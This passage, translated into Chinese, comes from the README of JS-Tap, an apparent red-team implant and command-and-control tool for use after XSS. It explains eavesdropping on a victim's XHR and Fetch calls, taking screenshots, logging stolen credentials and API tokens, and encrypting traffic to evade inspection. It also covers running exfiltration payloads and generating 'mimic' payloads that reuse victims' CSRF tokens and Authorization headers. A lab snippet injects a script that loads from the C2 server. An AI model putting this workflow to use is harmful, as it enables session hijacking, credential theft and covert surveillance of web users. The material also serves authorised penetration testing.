monkeypatching。这在 trap 模式下有效。在 implant 模式下,仅 Fetch API 被patch。Monkeypatching 允许在运行时重写 JavaScript。启用此功能将重写 JavaScript 代码使用的 XHR 和 Fetch 网络 API,以便窃听这些网络调用的内容。请注意,jQuery 和基于 Ajax 的网络调用将在 XHR API 中被捕获,它们在底层使用 XHR API 进行网络调用。当然,自动生成 API 调用自定义 Payload 取决于使用此 monkeypatch 功能拦截 API 调用。 ``` window.monkeyPatchAPIs = true; ``` #### API 调用后的屏幕截图 默认情况下,JS-Tap 将在用户导航到新页面后捕获新屏幕截图。某些应用程序在加载新数据时不会更改其路径,这将导致错过屏幕截图。JS-Tap 可以配置为在发出 XHR 或 Fetch API 调用后捕获新屏幕截图。这些 API 调用通常用于检索要显示的新数据。提供了两个设置,一个用于启用“API 调用后屏幕截图”,另一个是以毫秒为单位的延迟。在 API 调用后 X 毫秒,JS-Tap 将捕获新屏幕截图。 ``` window.postApiCallScreenshot = true; window.screenshotDelay = 1000; ``` ## JS-Tap Portal 使用服务器脚本启动时提供的管理员凭据登录。 客户端显示在左侧,选择一个将在右侧显示其事件时间序列。 客户端列表可以按时间(首次看到、最后收到更新)排序,并且可以过滤列表以仅显示“加星标”的客户端。客户端列表上方还有一个快速过滤器搜索,允许您快速过滤包含输入字符串的客户端。如果您在 Payload 配置中设置了可选标签,这很有用。可选标签显示在客户端昵称的前面。过滤检查针对可选标签、昵称、IP 地址、指纹、浏览器和平台。请注意,您可以通过在搜索词前加上 '!' 来反转过滤器搜索。例如,要显示所有不使用 Firefox 的客户端,请使用过滤词 "!firefox"。 每个客户端都有一个 'x' 按钮(在星标按钮附近)。这允许您删除该客户端的会话,如果他们发送垃圾或无用数据,您可以阻止该客户端提交未来的数据。 当 JS-Tap Payload 启动时,它从 JS-Tap 服务器检索会话。如果您想停止发布所有新客户端会话,请选择顶部的 **App Settings**,您可以禁用新客户端会话。您还可以启用显示客户端“指纹”,这是非常短的哈希值,对于特定系统上的用户浏览器应该是唯一的。这有助于识别哪些 JS-Tap 客户端实际上是同一个人。请注意,必须配置 JS-Tap 客户端执行指纹计算。客户端过滤器搜索栏也搜索指纹字段,因此很容易显示具有相同指纹的客户端。 您还可以在 **App Settings** 中配置电子邮件通知,以通知新客户端或客户端的新事件。这仅基于 SMTP (TLS),您可以将通知电子邮件发送给多个收件人。“电子邮件延迟”选项可防止持续的电子邮件垃圾邮件,您将收到延迟期间发生的所有通知的汇总电子邮件。 您可以在 **App Settings** 中更改客户端列表自动更新的频率,您也可以在此处阻止特定 IP 地址接收 JS-Tap 会话。 如果您想更好地隐藏 JS-Tap 网络流量以免被检查,请在 **App Settings** 中启用流量混淆。这将适用于使用 HTTPS 且 webcrypto API 可用的应用程序。JS-Tap 客户端将在应用程序级别加密所有流量,并将其发送到 C2 服务器上的单个 API 端点,该端点将对其进行解密并在服务器端进行路由。来自 JS-Tap C2 的响应(例如自定义 Payload)也来自此单个 API 端点,并且也已加密。请注意,如果被窃听的浏览器不支持 web crypto API,JS-Tap 将回退到传统的非混淆流量。 每个客户端都有一个“notes”功能。如果您发现该特定客户端的有用信息(凭据、API tokens 等),您可以将其添加到客户端备注中。在您查看完所有客户端并记下笔记后,顶部的 **View All Notes** 功能允许您一次导出所有客户端的所有笔记。 如果您试图关注特定内容(例如屏幕截图),可以按事件类型过滤事件列表。请注意,事件/loot 列表**不会**自动更新(客户端列表会)。如果要加载客户端的最新事件,则需要再次在左侧选择该客户端。 #### 自定义 Payload 从版本 1.02 开始,具有自定义 Payload 功能。可以在 JS-Tap portal 中添加多个 JavaScript Payload,并在单个客户端、所有当前客户端上执行,或设置为在所有未来客户端上自动运行。Payload 可以在 JS-Tap portal 中编写/编辑,也可以从文件导入。Payload 也可以导出。导入 Payload 的格式是简单的 JSON。JavaScript 代码和描述只是 base64 编码。 ``` [{"code":"YWxlcnQoJ1BheWxvYWQgMSBmaXJpbmcnKTs=","description":"VGhlIGZpcnN0IHBheWxvYWQ=","name":"Payload 1"},{"code":"YWxlcnQoJ1BheWxvYWQgMiBmaXJpbmcnKTs=","description":"VGhlIHNlY29uZCBwYXlsb2Fk","name":"Payload 2"}] ``` 如果您的自定义 Payload 需要窃取数据,您可以使用 *customExfil(note, data)* 方法。在自定义 Payload 中调用此方法会将该文本数据发送回 JS-Tap,并作为事件显示在 loot 数据中。
自定义 Payload 的主用户界面位于顶部菜单栏中。选择 **Custom Payloads** 以打开界面。任何现有的 Payload 都将显示在左侧的列表中。按钮栏允许您导入和导出列表。Payload 可以在右侧进行编辑,尽管您可以按 **Expand Code** 按钮以获得更大的代码编辑窗格。要加载现有 Payload 进行编辑,请通过单击 **Saved Payloads** 列表中的 Payload 来选择它。一旦定义并保存了 Payload,您就可以在客户端上执行它们。
在主 **Custom Payloads** 视图中,您可以针对所有当前客户端启动 Payload(**Run** 按钮)。您还可以切换 Payload 的 **Autorun** 属性,这意味着所有新客户端都将运行该 Payload。请注意,现有客户端不会基于 Autorun 设置运行 Payload。
您可以打开 **Repeat**,当每个客户端检查任务时,Payload 将被任务化。请记住,客户端检查自定义 Payload 任务的速率是可变的,并且该速率可以在主 JS-Tap Payload 配置中更改。可以使用自定义 Payload 更改该速率(调用 *updateTaskCheckInterval(newDelay)* 函数)。任务检查延迟中的 jitter 可以使用 *updateTaskCheckJitter(newTop, newBottom)* 函数设置。
自定义 Payload UI 中的 **Clear All Jobs** 按钮将删除队列中所有客户端的所有自定义 Payload 作业,并重置 auto/repeat 运行切换。
要在单个客户端用户上运行 Payload,请使用您希望在其上运行的特定客户端上的 **Run Payload** 按钮,然后点击您希望使用的特定 Payload 的 **Run** 按钮。您也可以在单个客户端上设置 **Repeat**。 #### 自动生成的自定义 Payload (Mimic) 从版本 2.1 开始,JS-Tap 包含自动生成自定义 Payload 的功能。此功能利用拦截表单提交和 XHR/Fetch API 调用的能力。JS-Tap 可以使用这些拦截的通信作为原型来围绕其构建 Payload。
请求中的参数将由自动生成的 Payload 顶部的变量设置,以便于修改正在执行的操作。需要 CSRF token 的表单提交,以及需要 Authorization 标头的 XHR/Fetch API 调用将由 mimic 向导处理;您可以在拦截的表单提交/API 调用中选择这些值,JS-Tap 将搜索其数据库以确定这些值的来源。
将生成一个 Payload,首先在用户的浏览器中获取这些项目的当前值,因为这些值可能随时间和不同用户而变化。检索到的值将用于随后将修改后的参数传递给服务器以执行正在“模拟”的操作的请求中。
如果您跳过搜索这些值,请求中没有它们,或者 JS-Tap 无法找到来源,将生成一个使用原始拦截请求中的 CSRF tokens 和 Authorization 标头值的 Payload。
要使用 mimic 功能创建自动生成的 Payload,请找到拦截的表单提交或 API 调用,然后按 loot 列中事件卡上的 **Create Mimic Payload** 按钮。这将打开向导,您可以在其中选择 CSRF token(用于表单提交)或 Authorization 标头(用于 API 调用)。您需要将参数/标头名称复制到名称字段中,并将 token 值复制到值字段中。完成后,点击 **Search** 按钮,让 JS-Tap 确定这些值的存储或检索位置。
如果 JS-Tap 找到这些值的来源,点击下一步将生成 Payload 并将其作为新 Payload 输入到 C2 系统中。将生成的代码顶部的 Payload 名称、描述和参数值更改为您所需的设置并保存。然后,您可以在 JS-Tap 客户端上运行该 Payload。 ## 工具 tools 子目录中包含一些工具。 ### clientSimulator.py 用于对 jsTapServer 进行压力测试的脚本。有助于大致确定您的服务器可以处理多少客户端。请注意,运行 clientSimulator 脚本可能比实际的 jsTapServer 更耗费资源,因此您可能希望在一个单独的机器上运行它。 脚本顶部有一个 **numClients** 变量,设置为您想模拟的客户端数量。脚本将为每个客户端生成一个线程,检索客户端会话,并发送模拟客户端的数据。 ``` numClients = 50 ``` 您还需要配置 clientSimulator 连接到的 jsTapServer 运行位置: ``` apiServer = "https://127.0.0.1:8444" ``` 使用 gunicorn 运行的 JS-Tap 扩展性很好。 ### MonkeyPatchApp 一个用于测试 XHR/Fetch monkeypatching 的简单应用程序,但可以为您提供一个简单的应用程序来测试 Payload。 运行方式: ``` python3 monkeyPatchLab.py ``` 默认情况下,这将启动运行在以下位置的应用程序: ``` https://127.0.0.1:8443 ``` 按下“Inject JS-Tap payload”按钮将运行 JS-Tap Payload。这适用于 implant 或 trap 模式。您可能需要将 monkeyPatchLab 应用程序指向新的 JS-Tap 服务器位置以加载 Payload 文件,您可以在 **main.js** 的 **injectPayload()** 函数中找到此设置 ``` function injectPayload() { document.head.appendChild(Object.assign(document.createElement('script'), {src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'})); } ``` ### DefconApp 另一个类似于 MonkeyPathApp 的简单应用程序,但是此应用程序中的 XHR API 调用会在应用程序中产生可见的更改(更改“defcon”级别)。
它还有一个 **Inject Js-Tap payload** 按钮,用于模拟 XSS 利用。所有代码都包含在 **defconServer.py** 文件中,包括 JavaScript 和 HTML。
此应用程序是自动生成拦截 XHR 网络调用 Payload 的良好测试。 ### formParser.py 废弃的工具,是分析 HTML 表单和解析其参数的良好开端。旨在帮助自动生成 JavaScript Payload 以针对表单提交。 您应该能够在窃取的 HTML 文件上运行它。同样,这目前是废弃软件,已被自动生成自定义 Payload 的 mimic 功能所取代。 ### generateIntelReport.py 不再工作,曾在 JS-Tap 使用 Web UI 之前使用。generateIntelReport 脚本将梳理收集的 loot 并生成 PDF 报告。出于性能原因,现在禁用了将所有 loot 保存到磁盘,其中大部分存储在数据库中,但窃取的 HTML 代码和屏幕截图除外。 ## 联系方式 @hoodoer
hoodoer@bitwisemunitions.dev
标签:CMS安全, DNS 反向解析, Github安全, JavaScript, Mimic, payload 生成, Web安全, XSS, 客户端攻击, 数据可视化, 数据窃取, 流量监控, 漏洞情报, 网络安全, 自定义脚本, 蓝队分析, 负责任AI, 足迹探测, 远程控制, 逆向工具, 隐私保护